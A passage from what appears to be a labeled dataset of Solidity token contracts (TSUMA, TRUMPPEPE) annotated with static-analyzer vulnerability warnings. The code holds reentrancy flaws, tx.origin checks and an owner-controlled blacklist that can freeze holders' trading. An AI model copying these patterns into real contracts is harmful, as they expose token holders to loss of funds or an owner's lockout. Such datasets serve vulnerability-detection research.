"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TSUMA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 220a3a5): TSUMA._taxWallet should be immutable \n\t// Recommendation for 220a3a5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ac9906): TSUMA._initialBuyTax should be constant \n\t// Recommendation for 7ac9906: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 59ebddc): TSUMA._initialSellTax should be constant \n\t// Recommendation for 59ebddc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 16;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 719623b): TSUMA._reduceBuyTaxAt should be constant \n\t// Recommendation for 719623b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 73fddb2): TSUMA._reduceSellTaxAt should be constant \n\t// Recommendation for 73fddb2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74bf010): TSUMA._preventSwapBefore should be constant \n\t// Recommendation for 74bf010: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 690000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Tsuma\";\n\n string private constant _symbol = unicode\"TSUMA\";\n\n uint256 public _maxTxAmount = 13800000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 13800000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6476157): TSUMA._taxSwapThreshold should be constant \n\t// Recommendation for 6476157: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 6900000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ba52d5): TSUMA._maxTaxSwap should be constant \n\t// Recommendation for 8ba52d5: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 6900000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n mapping(address => uint256) private cooldownTimer;\n\n\t// WARNING Optimization Issue (constable-states | ID: e779b8b): TSUMA.cooldownTimerInterval should be constant \n\t// Recommendation for e779b8b: Add the 'constant' attribute to state variables that never change.\n uint8 public cooldownTimerInterval = 1;\n\n uint256 private lastExecutedBlockNumber;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 477241e): TSUMA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 477241e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b07ca9): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b07ca9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8638e22): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8638e22: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8b07ca9\n\t\t// reentrancy-benign | ID: 8638e22\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8b07ca9\n\t\t// reentrancy-benign | ID: 8638e22\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: cbd67e6): TSUMA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for cbd67e6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8638e22\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 8b07ca9\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 303576e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 303576e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 6ba3f47): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 6ba3f47: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: e5f868c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for e5f868c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 6ba3f47\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n require(\n block.number > lastExecutedBlockNumber,\n \"Exceeds the maxWalletSize.\"\n );\n\n\t\t\t\t// reentrancy-events | ID: 303576e\n\t\t\t\t// reentrancy-eth | ID: e5f868c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 303576e\n\t\t\t\t\t// reentrancy-eth | ID: e5f868c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: e5f868c\n lastExecutedBlockNumber = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: e5f868c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 303576e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: e5f868c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: e5f868c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 303576e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 303576e\n\t\t// reentrancy-events | ID: 8b07ca9\n\t\t// reentrancy-benign | ID: 8638e22\n\t\t// reentrancy-eth | ID: e5f868c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e0fb313): TSUMA.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for e0fb313: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 303576e\n\t\t// reentrancy-events | ID: 8b07ca9\n\t\t// reentrancy-eth | ID: e5f868c\n\t\t// arbitrary-send-eth | ID: e0fb313\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d111113): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d111113: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 968b3ab): TSUMA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 968b3ab: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: cf1f4b0): TSUMA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for cf1f4b0: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fed9dd0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fed9dd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x10ED43C718714eb63d5aA57B78B54704E256024E\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d111113\n\t\t// reentrancy-eth | ID: fed9dd0\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d111113\n\t\t// unused-return | ID: cf1f4b0\n\t\t// reentrancy-eth | ID: fed9dd0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d111113\n\t\t// unused-return | ID: 968b3ab\n\t\t// reentrancy-eth | ID: fed9dd0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: d111113\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: fed9dd0\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10632.sol",
"size_bytes": 20688,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n\n return a % b;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n\n assembly {\n codehash := extcodehash(account)\n }\n\n return (codehash != accountHash && codehash != 0x0);\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return _functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n return _functionCallWithValue(target, data, value, errorMessage);\n }\n\n function _functionCallWithValue(\n address target,\n bytes memory data,\n uint256 weiValue,\n string memory errorMessage\n ) private returns (bytes memory) {\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: weiValue}(\n data\n );\n\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function waiveOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint) external view returns (address pair);\n\n function allPairsLength() external view returns (uint);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(address indexed owner, address indexed spender, uint value);\n\n event Transfer(address indexed from, address indexed to, uint value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint);\n\n function balanceOf(address owner) external view returns (uint);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint);\n\n function approve(address spender, uint value) external returns (bool);\n\n function transfer(address to, uint value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint);\n\n function permit(\n address owner,\n address spender,\n uint value,\n uint deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Burn(\n address indexed sender,\n uint amount0,\n uint amount1,\n address indexed to\n );\n\n event Swap(\n address indexed sender,\n uint amount0In,\n uint amount1In,\n uint amount0Out,\n uint amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint);\n\n function price1CumulativeLast() external view returns (uint);\n\n function kLast() external view returns (uint);\n\n function burn(address to) external returns (uint amount0, uint amount1);\n\n function swap(\n uint amount0Out,\n uint amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint amountADesired,\n uint amountBDesired,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB, uint liquidity);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function removeLiquidity(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETH(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountToken, uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function swapExactTokensForTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapTokensForExactTokens(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactETHForTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function swapTokensForExactETH(\n uint amountOut,\n uint amountInMax,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapExactTokensForETH(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external returns (uint[] memory amounts);\n\n function swapETHForExactTokens(\n uint amountOut,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable returns (uint[] memory amounts);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n\n function getAmountsOut(\n uint amountIn,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n\n function getAmountsIn(\n uint amountOut,\n address[] calldata path\n ) external view returns (uint[] memory amounts);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract TRUMPPEPE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n using Address for address;\n\n\t// WARNING Optimization Issue (constable-states | ID: e382f1b): TRUMPPEPE._name should be constant \n\t// Recommendation for e382f1b: Add the 'constant' attribute to state variables that never change.\n string private _name = \"TRUMP PEPE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: b19e950): TRUMPPEPE._symbol should be constant \n\t// Recommendation for b19e950: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"$TRUMPEPE\";\n\n\t// WARNING Optimization Issue (constable-states | ID: add9a65): TRUMPPEPE._decimals should be constant \n\t// Recommendation for add9a65: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 92710dc): TRUMPPEPE.marketingWalletAddress should be constant \n\t// Recommendation for 92710dc: Add the 'constant' attribute to state variables that never change.\n address payable public marketingWalletAddress =\n payable(0x3C0876AFCe849dDA701fE6755AbA9526E7cED8a0);\n\n\t// WARNING Optimization Issue (constable-states | ID: de53e41): TRUMPPEPE.BuyBackWalletAddress should be constant \n\t// Recommendation for de53e41: Add the 'constant' attribute to state variables that never change.\n address payable public BuyBackWalletAddress =\n payable(0x3C0876AFCe849dDA701fE6755AbA9526E7cED8a0);\n\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isExcludedFromFee;\n\n mapping(address => bool) public isWalletLimitExempt;\n\n mapping(address => bool) public isTxLimitExempt;\n\n mapping(address => bool) public isMarketPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a854b1): TRUMPPEPE.buyLiquidityFee should be constant \n\t// Recommendation for 7a854b1: Add the 'constant' attribute to state variables that never change.\n uint256 public buyLiquidityFee = 0;\n\n\t// WARNING 